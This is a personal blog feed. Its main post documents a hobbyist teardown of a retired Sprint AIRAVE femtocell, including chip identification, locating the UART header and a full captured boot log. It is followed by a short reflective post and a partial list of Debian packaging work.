Bill's Web Loghttps://billblough.net/2022-03-27T23:30:37-04:00Hacking the Sprint AIRAVE 2.5 -- Part 1: A Fly on the Wall2022-03-27T23:30:37-04:002022-03-27T23:30:37-04:00bbloughtag:billblough.net,2022-03-27:/blog/2022/03/27/hacking-the-sprint-airave-25-part-1-a-fly-on-the-wall/<hr>
<p>Recently I've taken a deeper interest in hardware, including programming
embedded systems, writing Verilog for FPGA devices, and hardware security
in general. It's a lot of fun to build things, but it can also be a lot of fun
taking things apart or seeing how you can make them fail …</p><hr>
<p>Recently I've taken a deeper interest in hardware, including programming
embedded systems, writing Verilog for FPGA devices, and hardware security
in general. It's a lot of fun to build things, but it can also be a lot of fun
taking things apart or seeing how you can make them fail.</p>
<p>Enter what I've been playing with in my free time for the past week or so: the
Sprint AIRAVE 2.5+.</p>
<p><a href="https://billblough.net/images/airave25/front_side.jpg" title="AIRAVE 2.5+"><img alt="AIRAVE 2.5+" src="https://billblough.net/images/airave25/front_side.jpg"></a></p>
<h2>Background</h2>
<p>The Sprint AIRAVE is a <a href="https://en.wikipedia.org/wiki/Femtocell">femtocell</a>. It's used to boost wireless access
in areas where coverage is poor. In short, cellular devices connect to the
AIRAVE as if it were a cellular tower, and the AIRAVE connects to Sprint's
network using a broadband internet connection. From the user perspective,
the calls appear to be using the cellular network (as opposed to something
like WiFi calling), but in reality, the calls are being sent over the broadband
connection to Sprint.</p>
<h2>Motivation</h2>
<p>Sometime in the past year, I was contacted by Sprint and notified that after
a certain date, my AIRAVE would no longer be functional, as they were
making changes to the network as part of the T-Mobile merger. That
date has come and gone, so my AIRAVE has been sitting on the shelf
collecting dust. I figured why not see what makes it tick, and maybe find
another use for it. Even if I wind up destroying it in the process, at least
there's a chance of reusing it, rather than just sending it off to the
landfill.</p>
<p>For anyone interested in playing with these, you may be able to pick one up
on eBay or other sites that sell used hardware.</p>
<h2>Board Inspection</h2>
<p>Opening the case and removing the board revealed a large heat sink and a couple
of RF-shielded sections.</p>
<p><a href="https://billblough.net/images/airave25/front.jpg" title="Front of circuit board"><img alt="Front of circuit board" src="https://billblough.net/images/airave25/front.jpg"></a></p>
<p>The RF-shielded areas contain the GPS and cellular radio chips. They're not
really important to what I'm trying to do, so I didn't go any further than
looking up the part numbers to identify the chips.</p>
<p>Underneath the heat sink is the CPU (marked in blue) and NAND flash (marked in green).
The CPU is a <a href="https://www.mouser.com/datasheet/2/161/BSC9131-482835.pdf">Freescale BSC9131 PowerPC</a>, and the <a href="https://media.digikey.com/pdf/Data%20Sheets/Macronix/MX30LF1G08AA.pdf">NAND flash</a> holds
128MB. Other chips visible are DDR memory (12 o'clock), a thermal watchdog
(2 o'clock), line drivers (6 o'clock) and an ethernet controller (11 o'clock).</p>
<p><a href="https://billblough.net/images/airave25/cpu_1_markup.jpg" title="Circuit board with heat sink removed"><img alt="Circuit board with heat sink removed" src="https://billblough.net/images/airave25/cpu_1_markup.jpg"></a></p>
<p>The back of the board doesn't have much to interest us, except that it's very
easy to see some interesting hole patterns in the lower left corner. My understanding
is that the 14-pin arrangement may be a JTAG interface, but I haven't attempted
to verify this. However, it seemed very likely that the 4-pin array would be
a UART interface, so I proceeded with this assumption.</p>
<p><a href="https://billblough.net/images/airave25/back.jpg" title="Back of circuit board"><img alt="Back of circuit board" src="https://billblough.net/images/airave25/back.jpg"></a></p>
<h2>UART Connection</h2>
<p>A quick test of the 4-pin array with a digital multimeter identified the
ground and 3.3v pins.</p>
<p>To make things easier, I soldered a header to the UART interface, and connected
my Saleae logic analyzer.</p>
<p><a href="https://billblough.net/images/airave25/saleae.jpg" title="Saleae logic analyzer connected to UART header"><img alt="Saleae logic analyzer connected to UART header" src="https://billblough.net/images/airave25/saleae.jpg"></a></p>
<p>Opening Saleae Logic 2, configuring the channels, and booting the AIRAVE made it
very easy to identify the TX pin and view the output from the boot process.</p>
<p><a href="https://billblough.net/images/airave25/saleae_logic.png" title="Saleae Logic 2 program showing UART output"><img alt="Saleae Logic 2 program showing UART output" src="https://billblough.net/images/airave25/saleae_logic.png"></a></p>
<p>With the UART pinout confirmed, the logic levels weren't really needed anymore
so I switched to using an Adafruit FT232H breakout board as a UART-to-USB adapter
and watched the output using picocom.</p>
<p><a href="https://billblough.net/images/airave25/ft232_uart.jpg" title="FT232H connected to UART"><img alt="FT232H connected to UART" src="https://billblough.net/images/airave25/ft232_uart.jpg"></a></p>
<div class="highlight"><pre><span></span><code>NAND boot...
Bootloader 2011.07 (Jun 11 2014 - 11:17:15) PSC913x
Boot Flag : Normal Power-On: Boot from FLASH
Uboot bootcount 0 bootlimit 3
### Incrementing the Uboot bootcount
Erasing Nand...
Erasing at 0x9a0000 -- 33% complete.
Erasing at 0x9c0000 -- 66% complete.
Erasing at 0x9e0000 -- 100% complete.
Writing to Nand... done
Jump to Kpost: at partition 2
## Transferring control to Kpost (at address 02003100) ...
Release Version 07.10.13 (Dec 3 2013, 12:42:16)
t7>>
1.01 - Display Diags Version ------------------------> PASSED.
Train-7: Diags Version 07.10.13 (Dec 3 2013, 12:42:16) )-> PASSED.
3.02 - Full DRAM (256MB) Test ----------------------> /-\|/-\|/-\| /-\|/-\|/-\| /-\|/-\|/-\| /-\|/-\|/-\| PASSED.
5.01 - Temperature Sensor Test ----------------------> (26 C)-> PASSED.
5.02 - Temperature Sensor Limits --------------------> (80,90)-> PASSED.
6.01 - MAC Internal LB Test -------------------------> PASSED.
6.02 - Etherenet Switch ID Test ---------------------> PASSED.
8.03 - GPS Presence Test ----------------------------> PASSED.
10.01 - Valid VPD Test -------------------------------> PASSED.
10.02 - Valid Cal Tables Test ------------------------> PASSED.
99.03 - Load and Run uboot ---------------------------> PASSED.
POST Error Code: 0x00000000
Loading uboot from flash (0xffe000 bytes from 0x2000)...
Starting uboot at 0x01001080...í
Bootloader 2011.07 (Jun 11 2014 - 11:17:15) PSC913x
Boot Flag : From Kpost
Jump to Uboot: at partition 2
## Transferring control to Uboot (at address 01001060) with 00000000 ...
Production Version U-Boot 2011.07 (Jun 11 2014 - 11:15:55) PSC913x
Boot Flag : RAM reboot
CPU: PSC9131E, Version: 1.1, (0x86080011)
Core: E500, Version: 5.1, (0x80212251)
Clock Configuration:
CPU0:800 MHz,
CCB:400 MHz,
DDR:400 MHz (800 MT/s data rate) (Asynchronous), IFC:100 MHz
L1: D-cache 32 kB enabled
I-cache 32 kB enabled
Board: Airvana C5000RDB
Watchdog enabled
I2C: ready
SPI: ready
DRAM: 512 MiB (DDR3, 32-bit, CL=6, ECC off)
L2: 256 KB already enabled
NAND: 128 MiB
In: serial
Out: serial
Err: serial
Net: eTSEC1
Checking WAN link ....
...... TIMEOUT !!
Speed: 100, full duplex
Reset Uboot boot count
bootcount 3 bootlimit 3
### Rolling back to standby image
Erasing Kernel 2 ...
Erasing at 0x3e0000 -- 4% complete.
Erasing at 0x400000 -- 8% complete.
Erasing at 0x420000 -- 13% complete.
Erasing at 0x440000 -- 17% complete.
Erasing at 0x460000 -- 21% complete.
Erasing at 0x480000 -- 26% complete.
Erasing at 0x4a0000 -- 30% complete.
Erasing at 0x4c0000 -- 34% complete.
Erasing at 0x4e0000 -- 39% complete.
Erasing at 0x500000 -- 43% complete.
Erasing at 0x520000 -- 47% complete.
Erasing at 0x540000 -- 52% complete.
Erasing at 0x560000 -- 56% complete.
Erasing at 0x580000 -- 60% complete.
Erasing at 0x5a0000 -- 65% complete.
Erasing at 0x5c0000 -- 69% complete.
Erasing at 0x5e0000 -- 73% complete.
Erasing at 0x600000 -- 78% complete.
Erasing at 0x620000 -- 82% complete.
Erasing at 0x640000 -- 86% complete.
Erasing at 0x660000 -- 91% complete.
Erasing at 0x680000 -- 95% complete.
Erasing at 0x6a0000 -- 100% complete.
Done!
Writing to Nand Dir at 16 ...Done!
Erasing Nand...
Erasing at 0x9a0000 -- 33% complete.
Erasing at 0x9c0000 -- 66% complete.
Erasing at 0x9e0000 -- 100% complete.
Writing to Nand... done
Hit ESC to stop autoboot: 0
partition changed to nand0,9
Tring to load kernel from flash ... Partition Kernel1:
No Valid Kernel on flash
### JFFS2 loading 'boot.bin' to 0x2000000
Scanning JFFS2 FS: . . . . . . . . . . . . . . done.
### JFFS2 load complete: 1939741 bytes loaded to 0x2000000
bootcount 0 bootlimit 3
### Incrementing the bootcount
Erasing Nand...
Erasing at 0x9a0000 -- 33% complete.
Erasing at 0x9c0000 -- 66% complete.
Erasing at 0x9e0000 -- 100% complete.
Writing to Nand... done
## Booting kernel from Legacy Image at 02000000 ...
Image Name: Femto C4000 Kernel Image
Created: 2014-05-21 5:11:53 UTC
Image Type: PowerPC Linux Multi-File Image (gzip compressed)
Data Size: 1939677 Bytes = 1.8 MiB
Load Address: 00000000
Entry Point: 00000000
Contents:
Image 0: 1895127 Bytes = 1.8 MiB
Image 1: 330 Bytes = 330 Bytes
Image 2: 9897 Bytes = 9.7 KiB
Image 3: 9897 Bytes = 9.7 KiB
Image 4: 11997 Bytes = 11.7 KiB
Image 5: 12389 Bytes = 12.1 KiB
Verifying Checksum ... OK
## Loading init Ramdisk from multi component Legacy Image at 02000000 ...
Using Train 7 dtb in boot.bin
## Flattened Device Tree from multi component Image at 02000000
Booting using the fdt at 0x21d39d8
Uncompressing Multi-File Image ... OK
Loading Device Tree to 03ffa000, end 03fffedc ... OK
Using PSC9131 RDB machine description
Memory CAM mapping: 256/64 Mb, residual: 0Mb
Linux version 2.6.33.9-rt31 (sbindagi@linuxws18.swlab.wirelessworld.airvananet.com) (gcc version 4.3.2 (GCC) ) #32 SMP Wed May 21 01:11:31 EDT 2014
CPU maps initialized for 1 thread per core
bootconsole [udbg0] enabled
setup_arch: bootmem
psc913x_board_setup_arch()
psc913x board from Freescale Semiconductor
arch: exit
Zone PFN ranges:
DMA 0x00000000 -> 0x00014000
Normal 0x00014000 -> 0x00014000
HighMem 0x00014000 -> 0x00014000
Movable zone start PFN for each node
early_node_map[1] active PFN ranges
0: 0x00000000 -> 0x00014000
MMU: Allocated 1088 bytes of context maps for 255 contexts
PERCPU: Embedded 7 pages/cpu @c0672000 s4272 r8192 d16208 u65536
pcpu-alloc: s4272 r8192 d16208 u65536 alloc=16*4096
pcpu-alloc: [0] 0
Built 1 zonelists in Zone order, mobility grouping on. Total pages: 81280
Kernel command line: root=/dev/mtdblock9 rw rootfstype=jffs2 mem=0x14000000 init=/init console=ttyS1,115200 HOSTNAME=picasso PRIPART=4
PID hash table entries: 2048 (order: 1, 8192 bytes)
Dentry cache hash table entries: 65536 (order: 6, 262144 bytes)
Inode-cache hash table entries: 32768 (order: 5, 131072 bytes)
Memory: 320384k/327680k available (3668k kernel code, 7088k reserved, 184k data, 161k bss, 180k init)
Kernel virtual memory layout:
* 0xfffc1000..0xfffff000 : fixmap
* 0xffc00000..0xffe00000 : highmem PTEs
* 0xffbfe000..0xffc00000 : early ioremap
* 0xd5000000..0xffbfe000 : vmalloc & ioremap
Registering Sched Trace sysrq handler
Hierarchical RCU implementation.
NR_IRQS:512 nr_irqs:512
mpic: Setting up MPIC " OpenPIC " version 1.2 at ff740000, max 1 CPUs
mpic: ISU size: 256, shift: 8, mask: ff
mpic: Initializing for 256 sources
clocksource: timebase mult[5000000] shift[22] registered
Console: colour dummy device 80x25
Mount-cache hash table entries: 512
Brought up 1 CPUs
NET: Registered protocol family 16
tdm_init
FSL_GUTS setting AIC SPI
Local Access Window Configuration
LAWBAR00: 0x00000000 LAWAR00: 0x00000000 (EN: 0 TGT: 0x00 SIZE: 0)
LAWBAR01: 0x00000000 LAWAR01: 0x00000000 (EN: 0 TGT: 0x00 SIZE: 0)
LAWBAR02: 0x00000000 LAWAR02: 0x00000000 (EN: 0 TGT: 0x00 SIZE: 0)
LAWBAR03: 0x00000000 LAWAR03: 0x00000000 (EN: 0 TGT: 0x00 SIZE: 0)
LAWBAR04: 0x00000000 LAWAR04: 0x00000000 (EN: 0 TGT: 0x00 SIZE: 0)
LAWBAR05: 0x00000000 LAWAR05: 0x00000000 (EN: 0 TGT: 0x00 SIZE: 0)
LAWBAR06: 0x00000000 LAWAR06: 0x00000000 (EN: 0 TGT: 0x00 SIZE: 0)
LAWBAR07: 0x00000000 LAWAR07: 0x00000000 (EN: 0 TGT: 0x00 SIZE: 0)
LAWBAR08: 0x00000000 LAWAR08: 0x00000000 (EN: 0 TGT: 0x00 SIZE: 0)
LAWBAR09: 0x00000000 LAWAR09: 0x00000000 (EN: 0 TGT: 0x00 SIZE: 0)
LAWBAR10: 0x00000000 LAWAR10: 0x00000000 (EN: 0 TGT: 0x00 SIZE: 0)
LAWBAR11: 0x00000000 LAWAR11: 0x00000000 (EN: 0 TGT: 0x00 SIZE: 0)
bio: create slab <bio-0> at 0
Switching to clocksource timebase
NET: Registered protocol family 2
IP route cache hash table entries: 4096 (order: 2, 16384 bytes)
TCP established hash table entries: 16384 (order: 5, 131072 bytes)
TCP bind hash table entries: 16384 (order: 5, 131072 bytes)
TCP: Hash tables configured (established 16384 bind 16384)
TCP reno registered
UDP hash table entries: 256 (order: 1, 8192 bytes)
UDP-Lite hash table entries: 256 (order: 1, 8192 bytes)
NET: Registered protocol family 1
RPC: Registered udp transport module.
RPC: Registered tcp transport module.
RPC: Registered tcp NFSv4.1 backchannel transport module.
fsl-ifc ff71e000.ifc: Freescale Integrated Flash Controller
HugeTLB registered 4 MB page size, pre-allocated 0 pages
HugeTLB registered 16 MB page size, pre-allocated 0 pages
HugeTLB registered 64 MB page size, pre-allocated 0 pages
HugeTLB registered 256 MB page size, pre-allocated 0 pages
HugeTLB registered 1 GB page size, pre-allocated 0 pages
JFFS2 version 2.2. (NAND) © 2001-2006 Red Hat, Inc.
msgmni has been set to 626
alg: No test for stdrng (krng)
io scheduler noop registered
io scheduler deadline registered
io scheduler cfq registered (default)
Generic non-volatile memory driver v1.1
Serial: 8250/16550 driver, 2 ports, IRQ sharing enabled
serial8250.0: ttyS0 at MMIO 0xff704500 (irq = 18) is a 16550A
serial8250.0: ttyS1 at MMIO 0xff704600 (irq = 18) is a 16550A
console [ttyS1] enabled, bootconsole disabled
console [ttyS1] enabled, bootconsole disabled
brd: module loaded
loop: module loaded
8323 Xilinx FPGA Loader Driver v1.0
Airvana Reset Driver v1.0
reset: Reset IRQ 17
reset: PPS IRQ 19
reset: GPIO Reset 197
reset: GPIO PPS 198
Airvana GPIO LEDS Loader Driver v1.0
NAND ECC MODE 2
NAND device: Manufacturer ID: 0xc2, Chip ID: 0xf1 (Unknown NAND 128MiB 3,3V 8-bit)
Scanning device for bad blocks
NOHZ: local_softirq_pending 100
NOHZ: local_softirq_pending 100
cmdlinepart partition parsing not available
RedBoot partition parsing not available
Creating 12 MTD partitions on "ff800000.flash":
0x000000000000-0x000000100000 : "Bootloader"
0x000000100000-0x0000003e0000 : "Kern1"
0x0000003e0000-0x0000006c0000 : "Kern2"
0x0000006c0000-0x000000700000 : "Dir"
0x000000700000-0x000000760000 : "VPD"
0x000000760000-0x000000860000 : "Uboot1"
0x000000860000-0x000000960000 : "Uboot2"
0x000000960000-0x0000009a0000 : "HWCW"
0x0000009a0000-0x000000a00000 : "Env"
0x000000a00000-0x000003a00000 : "Kernel-RootFS-A"
0x000003a00000-0x000006a00000 : "Kernel-RootFS-B"
0x000006a00000-0x000008000000 : "FlashFS"
fsl,ifc-nand ff800000.nand: IFC NAND device at 0xff800000, bank 0
fsl-espi ff707000.spi: Freescale eSPI Controller driver at 0xd5102000 (irq = 22)
of_spi found radioc
fsl-espi ff706000.spi: Freescale eSPI Controller driver at 0xd5106000 (irq = 23)
fsl-espi ff70e000.spi: Freescale eSPI Controller driver at 0xd510a000 (irq = 24)
of_spi found radioa
fsl-espi ff70d000.spi: Freescale eSPI Controller driver at 0xd510e000 (irq = 25)
of_spi found radiob
of_spi found dac
CurieDSP fake phy: Registered new driver
Fixed MDIO Bus: probed
/proc/ptp_1588 created
IEEE1588: ptp-timer device present in the system
IEEE1588: ptp-timer initialized
nic0: Gianfar Ethernet Controller Version 1.4-skbr1.1.5, 00:05:b9:34:39:b0
nic0: Running with NAPI enabled
nic0: RX BD ring size for Q[0]: 128
nic0: RX BD ring size for Q[1]: 128
nic0: RX BD ring size for Q[2]: 128
nic0: RX BD ring size for Q[3]: 128
nic0: RX BD ring size for Q[4]: 128
nic0: RX BD ring size for Q[5]: 128
nic0: RX BD ring size for Q[6]: 128
nic0: RX BD ring size for Q[7]: 128
nic0: TX BD ring size for Q[0]: 128
nic0: TX BD ring size for Q[1]: 128
nic0: TX BD ring size for Q[2]: 128
nic0: TX BD ring size for Q[3]: 128
nic0: TX BD ring size for Q[4]: 128
nic0: TX BD ring size for Q[5]: 128
nic0: TX BD ring size for Q[6]: 128
nic0: TX BD ring size for Q[7]: 128
Freescale PowerQUICC MII Bus: probed
i2c /dev entries driver
lm75 0-004a: hwmon0: sensor 'lm75'
PowerPC Book-E Watchdog Timer Loaded
PowerPC Book-E Watchdog Timer Enabled (wdt_period=32)
<6>mknod tdm c 239 0
tdm_dev_init: registering the character device adap 0
tdm_fsl_starlite: Freescale Starlite TDM Driver Adapter:Init
TCP cubic registered
Initializing XFRM netlink socket
NET: Registered protocol family 17
NET: Registered protocol family 15
Distributed Switch Architecture driver version 0.1
nic0[0]: detected a Marvell 88E6071 switch
dsa slave smi: probed
NOHZ: local_softirq_pending 100
NOHZ: local_softirq_pending 100
NOHZ: local_softirq_pending 100
NOHZ: local_softirq_pending 100
NOHZ: local_softirq_pending 100
NOHZ: local_softirq_pending 100
NOHZ: local_softirq_pending 100
NOHZ: local_softirq_pending 100
Empty flash at 0x02bd47e0 ends at 0x02bd4800
Empty flash at 0x02bd9940 ends at 0x02bda000
VFS: Mounted root (jffs2 filesystem) on device 31:9.
Freeing unused kernel memory: 180k init
Empty flash at 0x009a80bc ends at 0x009a8800
jffs2_scan_inode_node(): CRC failed on node at 0x00c457c8: Read 0xffffffff, calculated 0x998a0dd1
Empty flash at 0x00c459e0 ends at 0x00c46000
Empty flash at 0x014a3020 ends at 0x014a3800
Found SPI DAC, initializing
Running /init
FEMTO BOARD PROFILE:410100
/sbin/watchdog -t 1 /dev/watchdog ok
FIRMWARE VERSION 6.5.02.02005
Corefiles wont get generated
To enable crash daemon, please run crashdaemon_install.sh
to configure the ftp server to upload the core file
Starting SysInit
Setting clock : Thu Jan 1 00:00:08 UTC 1970 [ OK ]
Starting system logger: [ OK ]
Starting kernel logger: [ OK ]
## Error: "kposterr" not defined
Updates user information
Changing password for 0005B9-cdmaFAP3-0005B93439B0
Password for 0005B9-cdmaFAP3-0005B93439B0 changed by root
Checking Uboot upgrade....
ubootupgrade: start
GetAllVpdData: EEPROM values : Checksum -2035027229 Major 2 Minor 1
Upgrade Kernel Femto C4000 Kernel Image 2014-05-21 5:11:53 UTC at /dev/mtd1
ubootupgrade: **************************************
ubootupgrade: Update Kernel dev /dev/mtd1
ubootupgrade: **************************************
ubootupgrade: execute cmd flash_eraseall /dev/mtd1
Erasing 128 Kibyte @ 0 -- 0 % complete.
Erasing 128 Kibyte @ 20000 -- 4 % complete.
Erasing 128 Kibyte @ 40000 -- 8 % complete.
Erasing 128 Kibyte @ 60000 -- 13 % complete.
Erasing 128 Kibyte @ 80000 -- 17 % complete.
Erasing 128 Kibyte @ a0000 -- 21 % complete.
Erasing 128 Kibyte @ c0000 -- 26 % complete.
Erasing 128 Kibyte @ e0000 -- 30 % complete.
Erasing 128 Kibyte @ 100000 -- 34 % complete.
Erasing 128 Kibyte @ 120000 -- 39 % complete.
Erasing 128 Kibyte @ 140000 -- 43 % complete.
Erasing 128 Kibyte @ 160000 -- 47 % complete.
Erasing 128 Kibyte @ 180000 -- 52 % complete.
Erasing 128 Kibyte @ 1a0000 -- 56 % complete.
Erasing 128 Kibyte @ 1c0000 -- 60 % complete.
Erasing 128 Kibyte @ 1e0000 -- 65 % complete.
Erasing 128 Kibyte @ 200000 -- 69 % complete.
Erasing 128 Kibyte @ 220000 -- 73 % complete.
Erasing 128 Kibyte @ 240000 -- 78 % complete.
Erasing 128 Kibyte @ 260000 -- 82 % complete.
Erasing 128 Kibyte @ 280000 -- 86 % complete.
Erasing 128 Kibyte @ 2a0000 -- 91 % complete.
Erasing 128 Kibyte @ 2c0000 -- 95 % complete.
Erasing 128 Kibyte @ 2e0000 -- 100% complete.
ubootupgrade: execute cmd nandwrite -q -p /dev/mtd1 /boot.bin
ubootupgrade: Dir update sucessful
Generating dropbear rsa key
Generating dropbear dss key
Start SSH server ....
Starting VortiQa UTM.
Starting VortiQa ...
VortiQa-Phase3-0831-Patch5-11092011-QoS
ln: /usr/lib/libiips_wrap.so: File exists
cat: can't open '/proc/sys/net/ipv6/conf/all/forwarding': No such file or directory
Entry Success in IkeBaseModuleInit(306)
Entry Success in IkeBaseModuleInit(320)
Entry Success in IkeBaseInitialize(74)
Entry Success in IkeBaseInitStaticAlloc(163)
Entry Success in IkeBaseInitialize(84)
Entry Success in IkeBaseInitDataStructures(217)
Exit Success in IkeBaseInitDataStructures(241)
Entry Success in IkeBaseInitialize(94)
Entry Success in IkeBaseInitialize(112)
Exit Success in IkeBaseInitialize(122)
Entry Success in IkeBaseModuleInit(328)
Entry Success in IkeBaseModuleInit(339)
Entry Success in IkeCmnInit(148)
Entry Success in IkeCmnInit(178)
Entry Success in IkeCmnInit(200)
Entry Success in IkeCmnInit(203)
Entry Success in IkeCmnInit(214) :: Before calling IkeCmnIfaceSockInit()
Entry Success in IkeCmnIfaceSockInit(1271)
Exit Success in IkeCmnIfaceSockInit(1364)
Entry Success in IkeCmnInit(224) :: After calling IkeCmnIfaceSockInit()
Entry Success in IkeBaseInitialize(74)
Entry Success in IkeBaseInitStaticAlloc(163)
Entry Success in IkeBaseInitialize(84)
Entry Success in IkeBaseInitDataStructures(217)
Exit Success in IkeBaseInitDataStructures(241)
Entry Success in IkeBaseInitialize(94)
Entry Success in IkeBaseInitialize(112)
Exit Success in IkeBaseInitialize(122)
Entry Success in IkeBaseInitialize(74)
Entry Success in IkeBaseInitStaticAlloc(163)
Entry Success in IkeBaseInitialize(84)
Entry Success in IkeBaseInitDataStructures(217)
Exit Success in IkeBaseInitDataStructures(241)
Entry Success in IkeBaseInitialize(94)
Entry Success in IkeBaseInitialize(112)
Exit Success in IkeBaseInitialize(122)
Entry Success in IkeBaseInitialize(74)
Entry Success in IkeBaseInitStaticAlloc(163)
Entry Success in IkeBaseInitialize(74)
Entry Success in IkeBaseInitStaticAlloc(163)
Entry Success in IkeBaseInitialize(84)
Entry Success in IkeBaseInitDataStructures(217)
Exit Success in IkeBaseInitDataStructures(241)
Entry Success in IkeBaseInitialize(94)
Entry Success in IkeBaseInitialize(112)
Exit Success in IkeBaseInitialize(122)
Entry Success in IkeBaseInitialize(84)
Entry Success in IkeBaseInitDataStructures(217)
Exit Success in IkeBaseInitDataStructures(241)
Entry Success in IkeBaseInitialize(94)
Entry Success in IkeBaseInitialize(112)
Exit Success in IkeBaseInitialize(122)
Entry Success in IkeBaseModuleInit(369)
Exit Success in IkeBaseModuleInit(397)
Entry Success in main(122)
Entry Success in main(133)
done
Cannot set device generic segmentation offload settings: No such device
net.ipv4.tcp_syncookies = 1
net.ipv4.tcp_adv_win_scale = -2
net.ipv4.conf.all.log_martians = 1
net.ipv4.conf.all.accept_redirects = 0
net.ipv4.conf.all.accept_source_route = 0
net.ipv4.icmp_echo_ignore_broadcasts = 1
kernel.panic = 60
kernel.pid_max = 10000
net.ipv4.ip_local_port_range = 62001 65535
net.core.rmem_max = 110592
net.core.rmem_default = 110592
net.core.wmem_max = 110592
net.core.wmem_default = 110592
kernel.sched_trace = 0
kernel.sched_rttrap = 0
kernel.sched_rttrap_delay = 50
vm.min_free_kbytes = 20000
vm.panic_on_oom = 1
*********************************************************
ATTENTION : Temporary Vortiqa configuration changes !!!
*********************************************************
***********************************************************************************************
Welcome to the [1;31m[0m Command Line Interface
***********************************************************************************************
iGateway:/>iGateway:/config/iapd/policy>iGateway:/config/iapd/policy>iGateway:/config/algs>Disabled Alg For v4sipudp
iGateway:/config/algs>iGateway:/config/ad/timer>iGateway:/config/ad/timer>
Default TimeOuts
****************
General Timeout : 60
DefaultTcp : 600
DefaultUdp : 60
DefaultIcmp : 4
TcpPreConnEstb : 30
tcpresetval : 20
Timer Name Protocol Port TimeOut
*********************************************************
ftpinac TCP 21 600
hainac TCP 15000 60000
dnsinac UDP 53 30
iGateway:/config/ad/timer>iGateway:/config/logmsgs/throttling>iGateway:/config/logmsgs/throttling>iGateway:/config/logmsgs/throttling>iGateway:/config/logmsgs/throttling>Throttle Count: : 10000
Throttle Time: : 40
Issue Mask
_______________
iGateway:/config/logmsgs/throttling>Throttle Count: : 10000
Throttle Time: : 20
Issue Mask
_______________
iGateway:/config/logmsgs/throttling>Throttle Count: : 10000
Throttle Time: : 20
Issue Mask
_______________
iGateway:/config/logmsgs/throttling>Not in Context
*************************************************
Goodbye! Hope you had good time!!
*************************************************
Finished rcS
*****PROCMON: Starting the scriptProcMon Process id for shortLong is 1447
**PROCMON**:1970-01-01 00:00:47.884: Invoking killall.
**PROCMON**:1970-01-01 00:00:47.885: Starting up all processes
***PROCMON***: Inside PidLink::start
***PROCMON***: Inside PidLink::start
***PROCMON**: Outside while in start
***PROCMON***: Inside PidLink::start
***PROCMON**: Outside while in start
***PROCMON***: Inside PidLink::start
***PROCMON**: Outside while in start
***PROCMON***: Inside PidLink::start
***PROCMON**: Outside while in start
***PROCMON***: Inside PidLink::start
***PROCMON***: Inside PidLink::start
***PROCMON**: Outside while in start
***PROCMON***: Inside PidLink::start
**PROCMON**:1970-01-01 00:01:45.005: done with starting all processes
***** PROCMON: Starting fdleak script *****
**PROCMON**:1970-01-01 00:01:45.015: Beginning monitoring of all processes.
NOT monitoring fds. touch /conf_files/fdcheck to enable
**PROCMON**: Monitoring processes now!!
</code></pre></div>
<p>The boot output gave a lot of detail about the system, including the CPU and
speed, amount of RAM, flash layout, and Linux kernel version. However, there
was no login prompt, nor did it allow me to stop the Uboot process and get
a Uboot shell. So at this point, all I could do was watch the boot, but not
interact. Fortunately, there are sometimes ways around this, which I'll write
about in my next post.</p>sudo reboot2020-10-10T16:27:57-04:002020-10-10T16:27:57-04:00bbloughtag:billblough.net,2020-10-10:/blog/2020/10/10/sudo-reboot/<hr>
<blockquote>
<p>Benjy: The best-laid plans of mice...</p>
<p>Arthur: And men.</p>
<p>Frankie: What?</p>
<p>Arthur: Best-laid plans of mice and men.</p>
<p>Benjy: What have men got to do with it?</p>
<p>-- The Hitchhiker's Guide to the Galaxy TV series</p>
</blockquote>
<p>Last year, my intent had been to post monthly updates with details of the F …</p><hr>
<blockquote>
<p>Benjy: The best-laid plans of mice...</p>
<p>Arthur: And men.</p>
<p>Frankie: What?</p>
<p>Arthur: Best-laid plans of mice and men.</p>
<p>Benjy: What have men got to do with it?</p>
<p>-- The Hitchhiker's Guide to the Galaxy TV series</p>
</blockquote>
<p>Last year, my intent had been to post monthly updates with details of the F/LOSS
contributions I had made during the previous month. I wanted to do this as a
way to summarize and reflect on what I had done, and also to hopefully
motivate me to do more.</p>
<p>Fast forward, and it's been over a year since my last blog post. So much for
those plans.</p>
<p>I won't go into specific detail about the F/LOSS contributions I've made in the
past year. This isn't meant to be a "catch-up" post, per se. It's more of an
acknowledgment that I didn't do what I set out to do, as well as something
of a reset to enable me to continue blogging (or not) as I see fit.</p>
<p>So, to summarize those contributions:</p>
<ul>
<li>
<p>As expected, most of my contributions were to projects that I regularly
contribute to, like <a href="https://www.debian.org/">Debian</a>, <a href="https://axis.apache.org/axis2/c/core/">Apache Axis2/C</a>, or <a href="https://www.pwsafe.org/">PasswordSafe</a>.</p>
</li>
<li>
<p>There were also some one-off contributions to projects that I use but am not
actively involved in, such as <a href="https://logging.apache.org/log4cxx/">log4cxx</a> or <a href="https://github.com/ajventer/pyKAN">PyKAN</a>.</p>
</li>
<li>
<p>There was also a third category of contributions that are a bit of a special
case. I made some pseudonymous contributions to a F/LOSS project that I did
not want to tie to my public identity. I hope to write more about that
situation in a future post.</p>
</li>
</ul>
<p>All in all, I'm pretty happy with the contributions I've made in the
past year. Historically, my F/LOSS activity had been somewhat sporadic,
sometimes with months passing in between contributions. But looking through
my notes from the past year, it appears that I made contributions every single
month, with no skipped months. Of course, I would have liked to have done more,
but I consider the improvement in consistency to be a solid win.</p>
<p>As for the blog, well... Judging by the most recent year-long gap (as well as
the gaps before that), I'm not likely to start regularly writing posts anytime
soon. But then again, if sporadic F/LOSS contributions can turn into
regular F/LOSS contributions, then maybe sporadic blog posts can turn into
regular blog posts, too. Time will tell.</p>Free Software Activities (August 2019)2019-09-22T17:13:40-04:002019-09-22T17:13:40-04:00bbloughtag:billblough.net,2019-09-22:/blog/2019/09/22/free-software-activities-august-2019/<hr>
<h3>Debian</h3>
<ul>
<li>
<p>Fixed bug <a href="https://bugs.debian.org/933422">933422</a>: passwordsafe — Switch to using wxgtk3</p>
<p>Versions:</p>
<ul>
<li>unstable/testing: 1.06+dfsg-3</li>
</ul>
</li>
<li>
<p>Upgraded passwordsafe package to latest upstream version (1.08.2)</p>
<p>Versions:</p>
<ul>
<li>unstable/testing: 1.08.2+dfsg-1</li>
<li>buster-backports: 1.08.2+dfsg-1~bpo10+1</li>
</ul>
</li>
<li>
<p>Updated python-django-cas-client to latest upstream version (1.5.1) and did …</p></li></ul><hr>
<h3>Debian</h3>
<ul>
<li>
<p>Fixed bug <a href="https://bugs.debian.org/933422">933422</a>: passwordsafe — Switch to using wxgtk3</p>
<p>Versions:</p>
<ul>
<li>unstable/testing: 1.06+dfsg-3</li>
</ul>
</li>
<li>
<p>Upgraded passwordsafe package to latest upstream version (1.08.2)</p>
<p>Versions:</p>
<ul>
